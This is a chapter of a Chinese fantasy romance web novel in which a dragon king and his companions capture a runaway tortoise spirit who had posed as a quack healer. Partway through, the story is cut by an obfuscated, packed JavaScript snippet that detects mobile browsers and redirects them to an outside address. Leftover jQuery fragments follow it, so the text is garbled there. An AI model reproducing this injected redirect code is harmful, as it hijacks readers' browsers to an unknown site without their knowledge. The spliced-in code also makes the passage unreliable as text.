63. 玄龟(四)

作品:《龙王他今天等到夫人了吗?

    笑意未歇,溪瑶便听那乌衣真人转而说起了自己。


    “尊夫人的话,倒是有些体寒之症,确实不太利于怀子嗣。”


    溪瑶脸颊猝然间红得滚烫,紧接着腾地一下站起来,怒道:“你胡说些什么呢!怎么就扯到这上面了!”


    “夫人莫要难为情,繁衍生息此乃天之道,再正常不过。”他停顿了一下,又继续道:“结合你二人的脉象来看,应是尚未行周公之礼,求子嗣一事无需如此着急,我再开一服催情散,阴阳调和,二位必能早日如愿。”


    溪瑶怒火中烧,大步上前,登时就想把这玄龟给收了。“污言秽语,我今日非撕了你的嘴,让你这老乌……”


    敖洸见状一个箭步冲上去将其揽在怀里,一只手紧紧捂着她的嘴,所幸没让后面的“龟”字冒出来。


    “对不住,对不住,我夫人面子薄,你莫要同她一般见识。”溪瑶听到他竟还同那老龟道歉,心中怒气更炽,在他怀里连蹬带踹,见挣脱不掉,情急之下,一口狠狠地咬在他手上。


    乌衣真人白了一眼溪瑶,冷哼一声,将方子递给敖洸后,扬声对门外的小厮道:“赶紧叫下一个。”


    敖洸忍着手上的钝痛,抱起她便快步朝厅外走。直到出了正厅的门,才把手从她嘴上挪开。两排齿痕深陷进手掌的肉里,红中透紫。


    他将手里的方子往旁边一扔,那张纸瞬间便化成了灰烬。


    “你竟还同那老龟道歉!明明是他污言秽语在先!”


    他甩了甩被咬麻了的手,不紧不慢道:“要不是怕惊到这里的人族,我方才都想一拳把他打死……可真要在这里动起手来,万一伤到这里的人族怎么办?左右也是要抓它的,何必呈这一时之快。”


    溪瑶知他说得有理,心中怒气也渐渐消了下去。


    这时,在他们后面进去的一对夫妇怒气冲冲地走了出来,就听两人口中骂声不断。


    “听人说这里灵验我们才大老远跑过来的,想着来开个求子的方子,卖给我两颗长生丹是什么意思嘛,侮辱人吗这不是!是想让我们两个一直试到三四百岁去不成?!”“我看他就是个骗子!”


    两人相视一眼,会心一笑。料想定是那先前在门口发竹牌子的小厮被撞翻木盘后搞混了,才惹出这等荒唐事来。


    麝玥和景辰在内院探查许久,最后溜到了乌衣真人的卧房附近。趁四下无人,麝玥便想溜进去一探究竟,怎料被景辰给拦了下来。


    “等一下。”


    “怎么了?”


    “有法阵,门口还有结界。”


    “那又怎样,你还怕破不了他的法阵和结界?”


    “自然不是,但这不是攻击型法阵,是感知灵力的,他的结界在阵里,如果动用了灵力,整个暇龄居的铜铃都会一起响起来。”


    麝玥抬头环视了一圈,果真见到每个房檐下都挂着数个铜铃。


    “呵,他倒是够精的!”


    “什么人——!”忽然两个内院小厮经过此处,见他二人鬼鬼祟祟的躲在卧房周围,遂气势汹汹地走了过来。


    “你们两个,干什么的!”


    “我们是来找真人买长生丹的,刚刚衣裙弄脏了,被带进来换衣裳,出来时迷了路,便转到这儿来了。”说着,麝玥将手里的竹牌递了过去。


    他们看了看竹牌,又上下打量了两人一番,未察觉到有何可疑,便送两人出了内院。


    待他们从暇龄居出来时,见溪瑶与敖洸已经在门口等他们了。


    麝玥急切地问道:“怎么样怎么样,你们可还顺利?”


    溪瑶偷偷瞥了一眼敖洸,讪讪道:“呵呵……顺利……顺利……”


    “可瞧出他是哪只灵兽了?”


    “嗯,正是苑里那只老玄龟!你们呢,都探到什么了?”


    “还好我们今日足够谨慎,这玄龟,可真是老奸巨猾,它不光在卧房门口设了结界,竟还隐秘地设下一个探灵阵,今日若在这儿动了灵力,想必他此刻定是打算趁乱逃跑了。”


    “果然被他猜到我们会来捉他回去……可还有其他别的发现,有没有其他灵兽的踪迹?”


    麝玥摇了摇头,道:“没有,除了丹室的耳房里有一屋子的鸩鸟外,再没见别的活物了。”


    “既如此,那我们今夜便动手。”


    子夜时分,万籁俱寂,三人再次来到暇龄居。


    他们围在玄龟卧房的上空,溪瑶手臂一挥,一道剑气破了他的法阵和结界。墙壁被一分为二,剑痕深刻进地面,如一道鸿沟。


    骤然间,暇龄居内所有的铜铃一同响起,刺耳的声音响破天际,院内众下人见此情景,纷纷四散而逃。


    玄龟探头向天上望去,惊得不自觉后退了一步,“掌……掌事!”回过神后,他当即转身从卧房后的小门遁逃了出去,岂料麝玥和景辰已经在后面守着他了。


    “你要去哪儿啊?”


    玄龟气急道:“你们凭什么抓我回去!我既已出了御兽苑,那便是自由身了!”


    溪瑶恼怒道:“你竟还好意思说凭什么?看看你做的好事!好好的丰宁镇被你祸害成了什么样子!”


    “是他们自己控制不住贪念,与我何干!”


    “他们固然有错,但你利用他们的弱点为自己牟利,又何谈与你无关!”


    “多说无益,如今我已化形,今日断不会跟你们回去!”说罢,他朝空中扔出一把算筹,在其灵力的驱使下,它们如箭矢一般疾速朝三人飞去。


    溪瑶和景辰持剑挥舞,三两下便将它们劈落在地。麝玥一把鹤羽伞挡在身前,亦无法近身丝毫。


    见奈何不了他们,玄龟两手在胸前画圈,一团水球自两掌间凭空而出,且不断膨胀增大。就在他们正欲攻过来之际,他瞅准时机催动灵力,水球骤然散开如炮弹般密集地朝三人攻去。


    三人立即用灵力在身前化出一道屏障,将其挡在身外。孰料那玄龟却趁此机会化作一团水雾溜走了。


    “呵……他倒是跑的快~”


    玄龟逃到附近的山中,惊恐地边跑边回头,生怕他们追上来,却未注意到从暗处缓缓走出一个人影,仓皇间竟近乎撞到那人身上。


    “这么晚了,真人这是急着去哪儿啊~”


    惊慌之余,他抬头看见了敖洸额上的龙角,两腿发软,险些坐在地上:“龙……龙王?!”


    敖洸扭了扭脖颈,缓步朝其走去。玄龟浑身颤抖,吓得连连后退。


    “你今日,说本王什么来着?‘燥热不安’,是这么说的吧?本王眼下可正一肚子火没处发呢!”</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223559|195525||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    玄龟这才意识到,白日里那个令他一靠近就不寒而栗的人,正是眼前这位龙王。他当即跪伏在地,颤着嗓子道:“都是小的胡说八道,有眼无珠,求龙王放小的一马。”


    “聒噪……”他凛冽的双眼微微一瞪,霎时间,玄龟的身躯从里到外逐渐凝结成冰,眼看冰晶就要爬满他的每一寸血肉,御兽苑的三人恰好追到此处,溪瑶见状连忙叫住他,“要活的!”


    敖洸立时停了下来,冷哼一声,“算你运气好……”话音未落,一掌就将其体内的九幽石尘埃轰了出来,玄龟立马现出原形,四脚朝天倒飞出了数里远。


    溪瑶遂即拿出千机雷火罩,将其收了进去。


    麝玥开心道:“大功告成!今晚终于可以睡个安稳觉喽~”


    见溪瑶站在原地未动,似是在想些什么,她开口道:“阿瑶,怎么了?在想什么呢?”


    “虽然我们已将它收了回来,但是它给丰宁镇造成的影响却无法弥补,看管不力让他们出逃,御兽苑也有责任……”


    敖洸自是明白她的,遂大手一挥,将散落的九幽石尘埃收在掌中,递到她面前,“去吧,足够让这片山林恢复生机了。”


    她凝望着月光下他那深邃如海的眼眸,展颜一笑,接过尘埃并用灵力将其散在山中的每一个角落。


    眨眼间,枯树开花,葱蔚洇润,一片生机。


    麝玥和景辰也将暇龄居内所有的鸩鸟放归了山林。


    翌日一早,几人用过朝食后,便准备离开此地。敖洸将要去往下一处法阵所在地,而溪瑶一行人也要去寻找下一只灵兽。


    刚出客栈门口,他们便看见街上人头攒动,热闹非凡。


    镇上的人听闻山林一夜之间生机盎然,皆纷纷跑过去想要一看究竟。


    “听说了吗,山里的树一夜之间长起来了!”“真的假的?!骗人的吧!”“这怎么可能呢!”“哎呀,去看看不就知道了!”“等等,我也去我也去!”


    几人相视一笑,溪瑶叹道:“暇龄居如今已人去楼空,无人再收鸩鸟,想来这里很快就能恢复到之前的样子了。”


    “希望他们经过这次灾祸,能吸取教训,不再被欲望所困。”敖洸顿了顿,转头对溪瑶说道:“你们接下来要去何处?”


    她拿出那个忽闪忽灭的碧落盘来,“应是去东边吧,希望下一个能顺利一些。”


    “需要帮忙的话,就用灵符传信给我。”“嗯。”


    两人四目相对,眼中暗含不舍。


    道过别后,敖洸和楚漓转眼来到了清漪镇。


    这是一个离海不远的小镇,此处居民大多以捕鱼为业,因其所在的地理位置正好被毗邻的几个较大的城镇所包围,故而这里鱼龙混杂,但却极适合探听消息。


    敖洸嫌镇上的客栈太过吵闹,便让楚漓择一僻静之所,并将其买了下来。


    “主上,这个宅子后面的树林里竟还有一架秋千!若是夫人也在这儿就好了,定会喜欢。”


    “多话——”他嘴上这般说着,心里却亦是期盼着能与她再次相遇。


    他们本应先去临近东北方向的法阵,但溪瑶说要先到东边,是两人绕路先来了此地。不仅是盼着能再遇上溪瑶,他还隐隐怀疑这两件事有所关联,只是并不十分确定。